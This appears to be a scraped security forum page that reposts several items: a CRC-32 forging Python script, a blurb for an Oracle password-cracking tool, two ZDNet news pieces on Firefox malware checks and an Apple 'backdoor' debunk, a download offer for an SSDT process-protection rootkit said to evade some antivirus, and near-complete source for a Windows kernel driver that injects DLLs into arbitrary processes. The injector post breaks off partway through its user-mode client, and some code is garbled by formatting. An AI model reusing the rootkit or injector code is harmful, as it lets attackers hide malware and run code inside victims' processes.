Nytro

[h=3]CRC-32 forging[/h]You may already know that the CRC-32 of any text can be forged if you can add 4 bytes anywhere in the text. See anarchriz's paper on the subject. A real-world example of such a situation can be seen in JB's ESET CONFidence Crackme Writeup. Good code that I recently used it in another situation, in order to forge a text of a given CRC-32 by inserting 4 bytes at a specific position. Since I reused most of his code, let's share mine as well (crc32.py): #!/usr/bin/env pythonfrom struct import pack,unpack # Poly in "reversed" notation -- http://en.wikipedia.org/wiki/Cyclic_redundancy_check POLY = 0xedb88320 # CRC-32-IEEE 802.3 #POLY = 0x82F63B78 # CRC-32C (Castagnoli) #POLY = 0xEB31D82E # CRC-32K (Koopman) #POLY = 0xD5828281 # CRC-32Q def build_crc_tables(): for i in range(256): fwd = i rev = i << 24 for j in range(8, 0, -1): # build normal table if (fwd & 1) == 1: fwd = (fwd >> 1) ^ POLY else: fwd >>= 1 crc32_table = fwd & 0xffffffff # build reverse table =) if rev & 0x80000000 == 0x80000000: rev = ((rev ^ POLY) << 1) | 1 else: rev <<= 1 rev &= 0xffffffff crc32_reverse = rev crc32_table, crc32_reverse = [0]*256, [0]*256 build_crc_tables() def crc32(s): # same crc32 as in (binascii.crc32)&0xffffffff crc = 0xffffffff for c in s: crc = (crc >> 8) ^ crc32_table[(crc ^ ord©) & 0xff] return crc^0xffffffff def forge(wanted_crc, str, pos=None): if pos is None: pos = len(str) # forward calculation of CRC up to pos, sets current forward CRC state fwd_crc = 0xffffffff for c in str[:pos]: fwd_crc = (fwd_crc >> 8) ^ crc32_table[(fwd_crc ^ ord©) & 0xff] # backward calculation of CRC up to pos, sets wanted backward CRC state bkd_crc = wanted_crc^0xffffffff for c in str[pos:][::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord© # deduce the 4 bytes we need to insert for c in pack('<L',fwd_crc)[::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord© res = str[:pos] + pack('<L', bkd_crc) + str[pos:] assert(crc32(res) == wanted_crc) return res Given a text, a CRC-32 and a position, you can forge a new text having this exact CRC-32 by inserting 4 bytes at the indicated position: >>> str = "some text">>> wanted_crc = 0xdeadbeef >>> for pos in range(len(str)): f = forge(wanted_crc, str, pos) print "%-30r CRC32 0x%08x" % (f, crc32(f)) '^q\xb4\x19some text' CRC32 0xdeadbeef 's\x04\xe8\xc66ome text' CRC32 0xdeadbeef 'so8~V\xb5me text' CRC32 0xdeadbeef 'som\x05\xf3\xb4ve text' CRC32 0xdeadbeef 'some\xab\xd5\xc4( text' CRC32 0xdeadbeef 'some }\x9eBZtext' CRC32 0xdeadbeef 'some t:\xfa\x86\rext' CRC32 0xdeadbeef 'some te\x9f\xca\xd9\x9ext' CRC32 0xdeadbeef 'some tex\x11\xae\xf0Ft' CRC32 0xdeadbeef Thanks JB Other CRC-32 resources: crctools by Julien Tinnes, libcrc by Y. Guillot, among others. Posted by StalkR at 20:15 Sursa: StalkR's Blog: CRC-32 forging

[TABLE] [TR] [TD][TABLE=width: 100%] [TR] [TD]Oracle Password Auditor is the FREE Oracle database password recovery and auditing software.[/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] It not only helps you to recover lost or forgotten Oracle database password but also audit Oracle database setup in an corporate environment by discovering the weak password configurations. During auditing operation, it detects special cases such as Account Lockout, Incorrect Oracle SID, Session Limit problems etc. In such cases it stops the operation rather than blindly continuing with the errors. Penetration testers can use this feature to detect any account lockout issues and further verify if it is susceptible to such DDOS attacks. It uses simple & faster dictionary based password recovery method. Also in the beginning it can automatically check for well known default user/password combinations. It is very easy to use with a cool GUI interface and a handy tool for IT administrators & Penetration Testers. It works on wide range of platforms starting from Windows XP to Windows 8.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Features[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Quickly Audit or Recover Your Lost Oracle Password. Dictionary based Password Recovery method Automatically Checks for Default User/Password combinations Includes dictionary file having popular list of default Oracle passwords Free and easy to use tool Very useful for IT administrators & Penetration Testers Automatically detects Account Lockout, Invalid SID, Session Limit problems. Displays detailed statistics during the operation. Integrated Installer for local Installation & Uninstallation. [/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 1:Oracle Password Auditor is showing the recovered Oracle Password[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 2:Oracle Password Auditor is detecting the locked out account and stopping the operation.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Release History[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 90%, align: center] [TR] [TD=class: page_sub_subheader]Version 2.5 : 19th Jul 2014[/TD] [/TR] [TR] [TD]Auto copy the Oracle login password to clipboard on success. Improved UI interface with glowing icons and fixed few minor bugs.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 2.0 : 30th May 2013[/TD] [/TR] [TR] [TD]Mega edition with support for Windows 8. Includes new features like default passwords check in the beginning, optimized oracle password auditing technique and enhanced GUI interface.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 1.0 : 13th July 2011[/TD] [/TR] [TR] [TD]First public release of OraclePasswordAuditor[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Download[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 95%, align: center] [TR] [TD] FREE Download Oracle Password Auditor v2.5 License : Freeware Platform : Windows XP, 2003, Vista, Windows 7, Windows 8 Download [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] Sursa: Oracle Password Auditor : Free Oracle Password Recovery & Auditing Tool

Firefox adds anti-malware file reputation service Summary: Firefox has blocked known phishing and malware sites for some time. Now it will check reputation on individual files and soon use file signatures. By Larry Seltzer for Zero Day | July 25, 2014 -- 12:40 GMT (05:40 PDT) Mozilla has announced that the new version 31.0 of Firefox, released earlier this week, will check individual file downloads against Google's Safe Browsing reputation service to determine if they are known malware. Firefox has checked web site URLs against Google's Safe Browsing service since version 2.0. Originally, that service checked only to see if sites were known phishing sites; later on, a list of sites known to serve malware was added to the service. When you encounter such a site, Firefox raises an interstitial warning: Version 31.0 adds a new feature. If, during a download, the site passes reputation check, then before completion Firefox will send a SHA-256 hash of the file to Google's Safe Browsing Service, which maintains a database of them. This file reputation service is not a documented part of the Safe Browsing API, but Google has given Firefox access to it. Obviously Google Chrome has had access to this file reputation service since Google launched it in 2012. Firefox also announced that version 32, due in September, will add a new efficiency to malware checks. Before checking the reputation of an individual file with Safe Browsing, it will check the file's digital signature (if it has one) for validity and to see if the publisher is in a local list of known-trusted publishers. If it passes this test, then the file is deemed good. If not, Firefox proceeds with the file reputation check. If you want to turn this service off, you may do so in "Preferences > Security > Block reported attack sites." Note that this setting controls not just the site check (as the name implies) but also the individual file tests. To turn off just the individual file tests, replace browser.safebrowsing.appRepURL in about:config with an empty string (the default setting is https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_API_KEY%). Microsoft Windows SmartScreen service has checked for phishing and malicious web sites in Internet Explorer for some time. With Windows 8, Microsoft added file reputation checking to the service. Sursa: Firefox adds anti-malware file reputation service | ZDNet

The Apple backdoor that wasn't Summary: On Monday, several media outlets mistakenly reported that Apple had installed "backdoors" on millions of iPhones and iOS devices. UPDATED. By Violet Blue for Zero Day | July 25, 2014 -- 12:05 GMT (05:05 PDT) Before the iPhone came out, and long before anyone heard the name "Ed Snowden," the most common use of the word "backdoor" was relegated to an industry that applied the term as a colorful anatomical descriptive, helping potential customers select the preferred access point for their adult entertainment. Last weekend, a hacker who's been campaigning to make a point about Apple security by playing fast and loose with the now widely-accepted definition of "backdoor" struck gold when journalists didn't do their homework and erroneously reported a diagnostic mechanism as a nefarious, malfeasant, secret opening to their private data. Speaking at the Hackers On Planet Earth conference in New York, Jonathan Zdziarski said that Apple’s iOS contains intentionally created access that could be used by governments to spy on iPhone and iPad users to access a user's address book, photos, voicemail and any accounts configured on the device. As he has been doing since the Snowden documents started making headlines last year, Mr. Zdziarski re-cast Apple's developer diagnostics kit in a new narrative, turning a tool that could probably gain from better user security implementation into a sinister "backdoor." The "Apple installed backdoors on millions of devices" story is still making headlines, despite the fact that respected security researchers started debunking researcher Jonathan Zdziarski's claims the minute people started tweeting about his HopeX talk on Sunday. Since Mr. Zdziarski presented "Identifying back doors, attack points, and surveillance mechanisms in iOS devices", his miscasting of Apple's developer diagnostics as a "backdoor" was defeated on Twitter, debunked and saw SourceClear calling Zdziarski an attention seeker in Computerworld, and Apple issued a statement saying that no, this is false. In fact, this allegedly "secret backdoor" was added to diagnostic information that has been as freely available as a page out of a phone book since 2002. The packet capture software used for diagnostics referenced by Mr. Zdziarski in support of his claims is similar in functionality as the one that's installed on every Apple laptop and desktop computer for diagnostics. So his numbers of "backdoors" allegedly installed by Apple for wide-ranging nefarious purposes are off by like, a billion. It appears that no one reporting Zdziarski's claims as fact attended his talk, watched it online, and less than a handful fact-checked or consulted outside experts. Which is, incidentally, what I did. I saw the talk begin to gain momentum on Twitter, then quickly flushed the idea of a story when the researchers I consulted kindly told me there was no "there" there. Mind you, I'm quick to call Apple on its issues. Among many other articles about Apple security vulns and hacks, I was first to report seeing an iPhone getting hacked in 60 seconds with a malicious charger, and when Apple said that intercepting (and spoofing) iMessage was only "theoretical" I provided video proof of the exploit. Regardless of the problems with Mr. Zdziarski's sermon, the (incorrect) assertion that Apple installed backdoors for law enforcement access was breathlessly reported this week by The Guardian, Forbes, Times of India, The Register, Ars Technica, MacRumors, Cult of Mac, Apple Insider, InformationWeek, Read Write Web, Daily Mail and many more (including ZDNet). People were told to essentially freak out over iPhones allowing people who know the passcode and pairing information to use the device. If you're the kind of person that walks into a public library, plugs in your iPhone and gives the public computer and every rando who accesses it permission to access everything on your phone forever, then okay, maybe you should freak out. The entire incident has cemented mistrust about journalists in infosec communities, and their reactions to the media mess hasn't been kind. Sursa: The Apple backdoor that wasn't | ZDNet

Low Level IPhone programming Video from JailbreakCon Twitter: @JailbreakCon - http://twitter.com/JailbreakCon “Low Level iPhone Programming (And more!)” by winocm [remotely, via FaceTime Voice, with Steven De Franco (iH8sn0w) on stage to help] Slides: Presentation1.pdf Sursa: Low Level IPhone programming

[h=1]SSDT PROcess and protect rootkit[/h]Started By x4r0r, Apr 20 2014 01:41 AM Hello to all especially to zwclose7 share has come from the following code developed ... everything is complete without no problem .... it is detected by some antivirus few knew it and its function is very important to us if someone encourages has improved works in Windows 7 32-bit Windows 8 32-bit and 64-bit here i leave all the details works all windows 32/64 bit Download: files.cnblogs.com/yeerh/HookDemo_SSDT.7z Sursa: SSDT PROcess and protect rootkit - Source Codes - rohitab.com - Forums

[h=1]Inject DLL from kernel mode[/h]Started By zwclose7, Feb 24 2014 04:05 PM Have you ever tried inject DLL from kernel mode? You can try to inject DLL from kernel mode when user mode methods doesn't work, e.g hooked NtOpenProcess/CreateRemoteThread, etc. How kernel mode injection works? 1) Get the address of KdVersionBlock from KPCR. (__readfsdword) 2) Get the address of MmLoadedUserImageList from KdVersionBlock. 3) Get the base address of ntdll from MmLoadedUserImageList. 4) Parse the export table of ntdll to locate LdrLoadDll. 5) Find a thread to hijack. (ZwQuerySystemInformation) 6) Open the target process. (PsLookupProcessByProcessId) 7) Open the target thread. (PsLookupThreadByThreadId) 8) Attach to target process's address space. (KeAttachProcess) 8) Allocate memory in target process's address space. (ZwAllocateVirtualMemory) 9) Copy the DLL name and APC routine into target process's address space. (memcpy,RtlInitUnicodeString) 10) Set ApcState.UserApcPending to TRUE to force the target thread to execute the APC routine. 11) Allocate an APC object from nonpaged pool. (ExAllocatePool) 12) Initialize the APC and insert it to the target thread. (KeInitializeApc,KeInsertQueueApc) 13) The target thread executes the APC routine in target process's address space. The APC routine calls LdrLoadDll to load the DLL. 14) Wait for the APC routine to complete. 15) Free the allocated memory. (ZwFreeVirtualMemory,ExFreePool) 16) Detach from target process's address space. (KeDetachProcess) 17) Dereference the target process and target thread. (ObDereferenceObject) Usage: To use the injector, run install.bat to install the driver, and then run kinject.exe from command prompt. kinject [PID] [DLL name] Source code (driver) #include <ntifs.h>#include <ntddk.h> typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitches; ULONG ThreadState; KWAIT_REASON WaitReason; }SYSTEM_THREAD_INFORMATION,*PSYSTEM_THREAD_INFORMA TION; typedef struct _SYSTEM_PROCESS_INFO { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER WorkingSetPrivateSize; ULONG HardFaultCount; ULONG NumberOfThreadsHighWatermark; ULONGLONG CycleTime; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR UniqueProcessKey; SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; SYSTEM_THREAD_INFORMATION Threads[1]; }SYSTEM_PROCESS_INFO,*PSYSTEM_PROCESS_INFO; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; struct _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY; typedef struct _IMAGE_DOS_HEADER { USHORT e_magic; USHORT e_cblp; USHORT e_cp; USHORT e_crlc; USHORT e_cparhdr; USHORT e_minalloc; USHORT e_maxalloc; USHORT e_ss; USHORT e_sp; USHORT e_csum; USHORT e_ip; USHORT e_cs; USHORT e_lfarlc; USHORT e_ovno; USHORT e_res[4]; USHORT e_oemid; USHORT e_oeminfo; USHORT e_res2[10]; LONG e_lfanew; }IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER; typedef struct _IMAGE_DATA_DIRECTORY { ULONG VirtualAddress; ULONG Size; }IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY; typedef struct _IMAGE_FILE_HEADER { USHORT Machine; USHORT NumberOfSections; ULONG TimeDateStamp; ULONG PointerToSymbolTable; ULONG NumberOfSymbols; USHORT SizeOfOptionalHeader; USHORT Characteristics; }IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER; typedef struct _IMAGE_OPTIONAL_HEADER { USHORT Magic; UCHAR MajorLinkerVersion; UCHAR MinorLinkerVersion; ULONG SizeOfCode; ULONG SizeOfInitializedData; ULONG SizeOfUninitializedData; ULONG AddressOfEntryPoint; ULONG BaseOfCode; ULONG BaseOfData; ULONG ImageBase; ULONG SectionAlignment; ULONG FileAlignment; USHORT MajorOperatingSystemVersion; USHORT MinorOperatingSystemVersion; USHORT MajorImageVersion; USHORT MinorImageVersion; USHORT MajorSubsystemVersion; USHORT MinorSubsystemVersion; ULONG Win32VersionValue; ULONG SizeOfImage; ULONG SizeOfHeaders; ULONG CheckSum; USHORT Subsystem; USHORT DllCharacteristics; ULONG SizeOfStackReserve; ULONG SizeOfStackCommit; ULONG SizeOfHeapReserve; ULONG SizeOfHeapCommit; ULONG LoaderFlags; ULONG NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[16]; }IMAGE_OPTIONAL_HEADER,*PIMAGE_OPTIONAL_HEADER; typedef struct _IMAGE_NT_HEADERS { ULONG Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER OptionalHeader; }IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS; typedef struct _IMAGE_EXPORT_DIRECTORY { ULONG Characteristics; ULONG TimeDateStamp; USHORT MajorVersion; USHORT MinorVersion; ULONG Name; ULONG Base; ULONG NumberOfFunctions; ULONG NumberOfNames; ULONG AddressOfFunctions; ULONG AddressOfNames; ULONG AddressOfNameOrdinals; }IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY; #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 extern "C" NTSTATUS ZwQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength); extern "C" LPSTR PsGetProcessImageFileName(PEPROCESS Process); typedef NTSTATUS (*PLDR_LOAD_DLL)(PWSTR,PULONG,PUNICODE_STRING,PVOI D*); typedef struct _INJECT_INFO { HANDLE ProcessId; wchar_t DllName[1024]; }INJECT_INFO,*PINJECT_INFO; typedef struct _KINJECT { UNICODE_STRING DllName; wchar_t Buffer[1024]; PLDR_LOAD_DLL LdrLoadDll; PVOID DllBase; ULONG Executed; }KINJECT,*PKINJECT; typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment, InsertApcEnvironment }KAPC_ENVIRONMENT,*PKAPC_ENVIRONMENT; typedef VOID (NTAPI *PKNORMAL_ROUTINE)( PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2 ); typedef VOID KKERNEL_ROUTINE( PRKAPC Apc, PKNORMAL_ROUTINE *NormalRoutine, PVOID *NormalContext, PVOID *SystemArgument1, PVOID *SystemArgument2 ); typedef KKERNEL_ROUTINE (NTAPI *PKKERNEL_ROUTINE); typedef VOID (NTAPI *PKRUNDOWN_ROUTINE)( PRKAPC Apc ); extern "C" void KeInitializeApc( PRKAPC Apc, PRKTHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext ); extern "C" BOOLEAN KeInsertQueueApc( PRKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment ); UNICODE_STRING DeviceName=RTL_CONSTANT_STRING(L"\\Device\\KeInject"),SymbolicLink=RTL_CONSTANT_STRING(L"\\DosDevices\\KeInject"); ULONG ApcStateOffset; // Offset to the ApcState structure PLDR_LOAD_DLL LdrLoadDll; // LdrLoadDll address void Unload(PDRIVER_OBJECT pDriverObject) { DbgPrint("DLL injection driver unloaded."); IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } void NTAPI KernelRoutine(PKAPC apc,PKNORMAL_ROUTINE* NormalRoutine,PVOID* NormalContext,PVOID* SystemArgument1,PVOID* SystemArgument2) { ExFreePool(apc); } void NTAPI InjectDllApc(PVOID NormalContext,PVOID SystemArgument1,PVOID SystemArgument2) { PKINJECT inject=(PKINJECT)NormalContext; inject->LdrLoadDll(NULL,NULL,&inject->DllName,&inject->DllBase); inject->Executed=TRUE; } BOOLEAN InjectDll(PINJECT_INFO InjectInfo) { PEPROCESS Process; PETHREAD Thread; PKINJECT mem; ULONG size; PKAPC_STATE ApcState; PKAPC apc; PVOID buffer; PSYSTEM_PROCESS_INFO pSpi; LARGE_INTEGER delay; buffer=ExAllocatePool(NonPagedPool,1024*1024); // Allocate memory for the system information if(!buffer) { DbgPrint("Error: Unable to allocate memory for the process thread list."); return FALSE; } // Get the process thread list if(!NT_SUCCESS(ZwQuerySystemInformation(5,buffer,1 024*1024,NULL))) { DbgPrint("Error: Unable to query process thread list."); ExFreePool(buffer); return FALSE; } pSpi=(PSYSTEM_PROCESS_INFO)buffer; // Find a target thread while(pSpi->NextEntryOffset) { if(pSpi->UniqueProcessId==InjectInfo->ProcessId) { DbgPrint("Target thread found. TID: %d",pSpi->Threads[0].ClientId.UniqueThread); break; } pSpi=(PSYSTEM_PROCESS_INFO)((PUCHAR)pSpi+pSpi->NextEntryOffset); } // Reference the target process if(!NT_SUCCESS(PsLookupProcessByProcessId(InjectIn fo->ProcessId,&Process))) { DbgPrint("Error: Unable to reference the target process."); ExFreePool(buffer); return FALSE; } DbgPrint("Process name: %s",PsGetProcessImageFileName(Process)); DbgPrint("EPROCESS address: %#x",Process); // Reference the target thread if(!NT_SUCCESS(PsLookupThreadByThreadId(pSpi->Threads[0].ClientId.UniqueThread,&Thread))) { DbgPrint("Error: Unable to reference the target thread."); ObDereferenceObject(Process); // Dereference the target process ExFreePool(buffer); // Free the allocated memory return FALSE; } DbgPrint("ETHREAD address: %#x",Thread); ExFreePool(buffer); // Free the allocated memory KeAttachProcess(Process); // Attach to target process's address space mem=NULL; size=4096; // Allocate memory in the target process if(!NT_SUCCESS(ZwAllocateVirtualMemory(NtCurrentPr ocess(),(PVOID*)&mem,0,&size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE ))) { DbgPrint("Error: Unable to allocate memory in the target process."); KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } DbgPrint("Memory allocated at %#x",mem); mem->LdrLoadDll=LdrLoadDll; // Write the address of LdrLoadDll to target process wcscpy(mem->Buffer,InjectInfo->DllName); // Write the DLL name to target process RtlInitUnicodeString(&mem->DllName,mem->Buffer); // Initialize the UNICODE_STRING structure ApcState=(PKAPC_STATE)((PUCHAR)Thread+ApcStateOffs et); // Calculate the address of the ApcState structure ApcState->UserApcPending=TRUE; // Force the target thread to execute APC memcpy((PKINJECT)(mem+1),InjectDllApc,(ULONG)Kerne lRoutine-(ULONG)InjectDllApc); // Copy the APC code to target process DbgPrint("APC code address: %#x",(PKINJECT)(mem+1)); apc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC )); // Allocate the APC object if(!apc) { DbgPrint("Error: Unable to allocate the APC object."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } KeInitializeApc(apc,Thread,OriginalApcEnvironment, KernelRoutine,NULL,(PKNORMAL_ROUTINE)((PKINJECT)me m+1),UserMode,mem); // Initialize the APC DbgPrint("Inserting APC to target thread"); // Insert the APC to the target thread if(!KeInsertQueueApc(apc,NULL,NULL,IO_NO_INCREMENT )) { DbgPrint("Error: Unable to insert APC to target thread."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread ExFreePool(apc); // Free the APC object return FALSE; } delay.QuadPart=-100*10000; while(!mem->Executed) { KeDelayExecutionThread(KernelMode,FALSE,&delay); // Wait for the injection to complete } if(!mem->DllBase) { DbgPrint("Error: Unable to inject DLL into target process."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); return FALSE; } DbgPrint("DLL injected at %#x",mem->DllBase); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return TRUE; } NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP irp) { PIO_STACK_LOCATION io; PINJECT_INFO InjectInfo; NTSTATUS status; io=IoGetCurrentIrpStackLocation(irp); irp->IoStatus.Information=0; switch(io->MajorFunction) { case IRP_MJ_CREATE: status=STATUS_SUCCESS; break; case IRP_MJ_CLOSE: status=STATUS_SUCCESS; break; case IRP_MJ_READ: status=STATUS_SUCCESS; break; case IRP_MJ_WRITE: InjectInfo=(PINJECT_INFO)MmGetSystemAddressForMdlS afe(irp->MdlAddress,NormalPagePriority); if(!InjectInfo) { status=STATUS_INSUFFICIENT_RESOURCES; break; } if(!InjectDll(InjectInfo)) { status=STATUS_UNSUCCESSFUL; break; } status=STATUS_SUCCESS; irp->IoStatus.Information=sizeof(INJECT_INFO); break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { PDEVICE_OBJECT DeviceObject; PEPROCESS Process; PETHREAD Thread; PKAPC_STATE ApcState; PVOID KdVersionBlock,NtdllBase; PULONG ptr,Functions,Names; PUSHORT Ordinals; PLDR_DATA_TABLE_ENTRY MmLoadedUserImageList,ModuleEntry; ULONG i; PIMAGE_DOS_HEADER pIDH; PIMAGE_NT_HEADERS pINH; PIMAGE_EXPORT_DIRECTORY pIED; pDriverObject->DriverUnload=Unload; KdVersionBlock=(PVOID)__readfsdword(0x34); // Get the KdVersionBlock MmLoadedUserImageList=*(PLDR_DATA_TABLE_ENTRY*)((P UCHAR)KdVersionBlock+0x228); // Get the MmLoadUserImageList DbgPrint("KdVersionBlock address: %#x",KdVersionBlock); DbgPrint("MmLoadedUserImageList address: %#x",MmLoadedUserImageList); ModuleEntry=(PLDR_DATA_TABLE_ENTRY)MmLoadedUserIma geList->InLoadOrderLinks.Flink; // Move to first entry NtdllBase=ModuleEntry->DllBase; // ntdll is always located in first entry DbgPrint("ntdll base address: %#x",NtdllBase); pIDH=(PIMAGE_DOS_HEADER)NtdllBase; pINH=(PIMAGE_NT_HEADERS)((PUCHAR)NtdllBase+pIDH->e_lfanew); pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)NtdllBase+p INH->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); Functions=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfFunctions); Names=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfNames); Ordinals=(PUSHORT)((PUCHAR)NtdllBase+pIED->AddressOfNameOrdinals); // Parse the export table to locate LdrLoadDll for(i=0;i<pIED->NumberOfNames;i++) { if(!strcmp((char*)NtdllBase+Names,"LdrLoadDll")) { LdrLoadDll=(PLDR_LOAD_DLL)((PUCHAR)NtdllBase+Funct ions[Ordinals]); break; } } DbgPrint("LdrLoadDll address: %#x",LdrLoadDll); Process=PsGetCurrentProcess(); Thread=PsGetCurrentThread(); ptr=(PULONG)Thread; // Locate the ApcState structure for(i=0;i<512;i++) { if(ptr==(ULONG)Process) { ApcState=CONTAINING_RECORD(&ptr,KAPC_STATE,Process); // Get the actual address of KAPC_STATE ApcStateOffset=(ULONG)ApcState-(ULONG)Thread; // Calculate the offset of the ApcState structure break; } } DbgPrint("ApcState offset: %#x",ApcStateOffset); IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_ OPEN,FALSE,&DeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++) { pDriverObject->MajorFunction=DriverDispatch; } DeviceObject->Flags&=~DO_DEVICE_INITIALIZING; DeviceObject->Flags|=DO_DIRECT_IO; DbgPrint("DLL injection driver loaded."); return STATUS_SUCCESS; } Source code (user mode application) #include <stdio.h>#include <Windows.h> typedef struct _INJECT_INFO { HANDLE ProcessId; wchar_t DllName[1024]; }INJECT_INFO,*PINJECT_INFO; int wmain(int argc,wchar_t* argv[]) { HANDLE hFile; DWORD write; INJECT_INFO InjectInfo; if(argc<3) { printf("\nUsage: kinject [PID] [DLL name]\n"); return -1; } hFile=CreateFile(L"\\\\.\\KeInject",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_S HARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("\nError: Unable to connect to the driver (%d)\n",GetLastError()); return -1; } memset(&InjectInfo,0,sizeof(INJECT_INFO)); 